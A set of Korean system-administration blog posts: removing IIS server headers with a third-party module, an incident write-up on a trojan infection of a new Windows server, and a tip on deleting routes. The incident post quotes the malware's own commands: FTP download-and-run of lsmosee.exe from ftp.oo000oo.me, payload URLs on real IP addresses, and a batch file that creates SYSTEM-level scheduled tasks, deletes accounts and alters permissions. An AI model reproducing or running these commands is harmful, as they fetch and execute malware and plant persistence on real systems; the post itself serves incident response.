응답 헤더를 통한 서버 정보 노출 방지 (HTTP Response Header Remove)
특정 업체의 보안 정책에 따른 IIS 설정 변경이 필요함.
[재현절차]
1.[보안] Response 값 헤더에 서버정보 노출
ex) server : Microsoft-IIS/8.5
[결함내용]
1.[보안] 부적절한 환경 설정 - 불필요한 서버 정보 노출
OS : Windows 2012 R2 / IIS 8.5
[아웃바운드 정책 추가]
RESPONSE_SERVER
RESPONSE_X-POWERED-BY
RESPONSE_X-ASPNET-VERSION
웹사이트 출력 후, 개발자 도구를 이용하여 응답 헤더 조회시 아래와 같이 결과 확인 가능.
그런데, 위의 설정으로는 정상적으로 호출이 완료 된 웹페이지에 대해서만 적용되는 걸로 확인 됨.
존재하지 않는 페이지 호출이나, .net 호출시에는 안 먹힘. (서버 정보가 그대로 노출 됨)
어떻게 처리를 해야 하나 구글 검색을 했는데, 모듈을 생성해서 적용하는 것을 권장 했음.
"How to remove IIS/ASP.NET Response Headers"
https://serverfault.com/questions/24885/how-to-remove-iis-asp-net-response-headers
본문에 있는 내용을 적용해볼까도 했는데, 이미 만들어진 모듈이 있을 것 같아서 다시 검색.
EASILY REMOVE UNWANTED HTTP HEADERS IN IIS 7.0 TO 8.5
https://www.dionach.com/blog/easily-remove-unwanted-http-headers-in-iis-70-to-85
내용을 읽어보니 설치 후 바로 적용이 가능한 것으로 보임.
개발 페이지에 접속하여 내용을 확인.
https://github.com/dionach/stripheaders
MS에서 만든것이 아닌, 서드파티 모듈 이기는 했지만 일단 적용을 해보기로 함.
iis_stripheaders_module_1.0.5.msi
이상 없이 설치 완료 후, web.config 에 아래의 구문 추가.
<stripHeaders>
<header name="Server" />
<header name="X-Powered-By" />
<header name="X-Aspnet-Version" />
</stripHeaders>
</system.webServer>
웹페이지 호출 테스트 진행을 해보니, Server 정보 부분이 제거 되어 있음을 확인.
보안에 대한 검증이 완료 된 것이라면, 이 모듈을 사용하는 것이 간편해서 좋을 것 같음.
'윈도우 이야기 > Web Server' 카테고리의 다른 글
Windows Server 2016 미디어 서비스 설치하기 #1 (IIS + Media Service) (7) | 2018.07.19 |
---|---|
IIS + node.js 환경 구축시 유의 사항 (0) | 2018.05.16 |
IIS 6.0 + 톰캣 5.5 연동 웹사이트 .html 및 .asp 호출 불가 (0) | 2016.12.13 |
IIS 파일 업로드 용량 제한 설정 (0) | 2016.07.22 |
간단한 메일 발송 vbs 스크립트 (0) | 2016.07.22 |
트로이목마 바이러스 감염 및 조치 (ftp.oo000oo.me, lsmosee.exe)
OS 세팅 된지 24 시간이 경과되지 않은 신규 서버에 WannaCry Ransomeware 파일 생성 경고 알림이 확인 되었음.
일본에서 운영 중인 서버이고 웹서비스 및 기타 서비스가 하나도 활성화 되지 않았는데도 공격에 당함.
신규 서버가 IPMI 관리 서버를 통해 연결이 되어 있어서, 혹시나 하는 마음에 IPMI 관리 서버 접속해서 점검을 했는데 공격에 당해 있었음.
작업 스케쥴러에 관리자가 생성하지 않은 작업이 등록되어 있고,
작업 관리자의 프로세스 리스트에도 비정상 명령어를 실행하는 프로세스가 존재하는 것을 확인.
백신을 이용한 전체 스캔으로도 침해 파일이 확인되지 않음.
1. 기타 계정 생성 여부를 확인하였으나, 관리자 계정 외에는 생성 된 계정이 없음을 확인
2. 작업 스케쥴러 인수에 기록되어 있는 폴더로 이동하여 파일 생성 여부 확인
/c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
/c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
c:\windows\help\lsmosee.exe / c:\windows\debug\lsmosee.exe 파일 생성 확인
3. 인수에 기록 된 링크 주소로 FTP 접속 (id : test / pw : 1433) 하여 파일 확인 및 다운로드.
도메인 주소로 ping 을 쳐봤더니 윈도우 서버로 확인되어, 104.37.245.82 로 원격 접속을 시도 해 보았으나 접속 실패.
4. s.rar 파일명을 실행파일 확장자로 변경하여 실행하였으나 실행되는 프로세스 확인되지 않음. 다른 작업과 연계되어야 실행이 되는 것으로 추정.
5. 임시 경로에 비정상 파일 생성 확인
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
하위 폴더들에 침해 파일 생성 확인
test[1].htm 내용
http://209.58.186.145:8888/close2.bat c:\windows\debug\c2.bat 1
http://104.37.245.82:8888/32.rar c:\windows\help\lsmosee.exe 1
close2[2].bat 내용
ping 127.0.0.1 -n 10
net1 user IISUSER$ /del&net1 user IUSR_Servs /del
cacls c:\windows\twain_32\csrss.exe /e /d system&cacls c:\windows\twain_32\csrss.exe /e /d everyone
schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "system" /sc onstart /F
schtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system" /sc onstart /F
schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system" /sc onstart /F
schtasks /create /tn "ok" /tr "rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa" /ru "system" /sc onstart /F
netsh ipsec static add policy name=win
netsh ipsec static add filterlist name=Allowlist
netsh ipsec static add filterlist name=denylist
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
netsh ipsec static add filteraction name=Allow action=permit
netsh ipsec static add filteraction name=deny action=block
netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
netsh ipsec static set policy name=win assign=y
ver | find "5.1." > NUL && sc config SharedAccess start= auto && net start SharedAccess && netsh firewall set opmode mode=enable && netsh firewall set portopening protocol = ALL port = 445 name = 445 mode = DISABLE scope = ALL profile = ALL
attrib -s -h -r C:\Windows\systxm1\*.*&attrib -s -h -r C:\Windows\system\*.*
net1 stop Mysqlverss&sc delete Mysqlverss&net1 user Mysql_User /del
cacls C:\Windows\systxm1\*.* /e /p system:n&cacls C:\Windows\system\*.* /e /p system:n&cacls c:\windows\fonts\*.exe /e /p system:n
@Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\system\svchost.exe'" Call Terminate &del C:\Windows\system\svchost.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\twain_32\svchost.exe'" Call Terminate &del C:\Windows\twain_32\svchost.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\twain_32\csrss.exe'" Call Terminate &del C:\Windows\twain_32\csrss.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\tasks\csrss.exe'" Call Terminate &del C:\Windows\tasks\csrss.exe
del c:\windows\debug\c2.bat
exit
해당 파일들은 아래에 있음. 실행하는 것은 권장하지 않음.
6. 스케쥴러 및 파일 삭제
위와 같이 진행하여 차단 완료되었는 줄 알았으나, 몇 시간 후 동일한 스케쥴러 및 파일 생성 확인함.
완전한 차단 및 삭제를 위해 구글링 시작.
검색어 : ftp.oo000oo.me
참고 링크 : https://www.bleepingcomputer.com/forums/t/649842/ransomware-help/
참고 링크 : https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/
두 번째 링크에서 많은 도움을 얻음.
일단 해당 침해는 랜섬웨어는 아닌 걸로 확인 됨. 트로이 목마를 이용한 원격 접속 침해 인걸로 확인.
레지스트리에 등록 되어 있는 실행 명령어 때문에 스케쥴러를 삭제해도 재등록이 되는 거였음.
HKEY_LOCAL_MACHINE - SOFTWARE - Microsoft - Windows - CurrentVersion - Run
해결 방법에 적힌 내용 확인 후 처리 진행함.
서버 리부팅 후에도 침해 발생은 확인되지 않고 있음.
일단 해결은 되었으나, 지속적 모니터링이 필요함.
'윈도우 이야기 > Etc' 카테고리의 다른 글
윈도우 VSS 네트워크 백업 복구 테스트 (0) | 2018.04.20 |
---|---|
VSS Backup 복사본이 1개 또는 소량으로만 존재할 때의 처리 방안 / VSS Backup Available 1 Copy (0) | 2018.03.07 |
route delete (0) | 2017.06.07 |
윈도우 VSS 백업 목록 확인 및 삭제 (0) | 2017.05.19 |
윈도우 패스워드 초기화 / Windows Reset Password (2) | 2017.02.16 |
route delete
서버에서 임의 설정한 라우팅 테이블 값 삭제가 필요할 때가 있음.
route print 명령어 입력해서 삭제 할 아이피 및 매트릭 값 확인하고,
route delete 명령어 입력해서 삭제 진행.
route delete 삭제할 아이피 METRIC 매트릭값
ex) route delete 192.168.1.112 metric 11
삭제가 필요한 값이 다수일 경우에는 메모장에 쭈욱 작성후에 복사 붙여넣기 하면 완료.
'윈도우 이야기 > Etc' 카테고리의 다른 글
VSS Backup 복사본이 1개 또는 소량으로만 존재할 때의 처리 방안 / VSS Backup Available 1 Copy (0) | 2018.03.07 |
---|---|
트로이목마 바이러스 감염 및 조치 (ftp.oo000oo.me, lsmosee.exe) (7) | 2017.08.18 |
윈도우 VSS 백업 목록 확인 및 삭제 (0) | 2017.05.19 |
윈도우 패스워드 초기화 / Windows Reset Password (2) | 2017.02.16 |
아파치 + 다중 톰캣 연동 (0) | 2016.12.28 |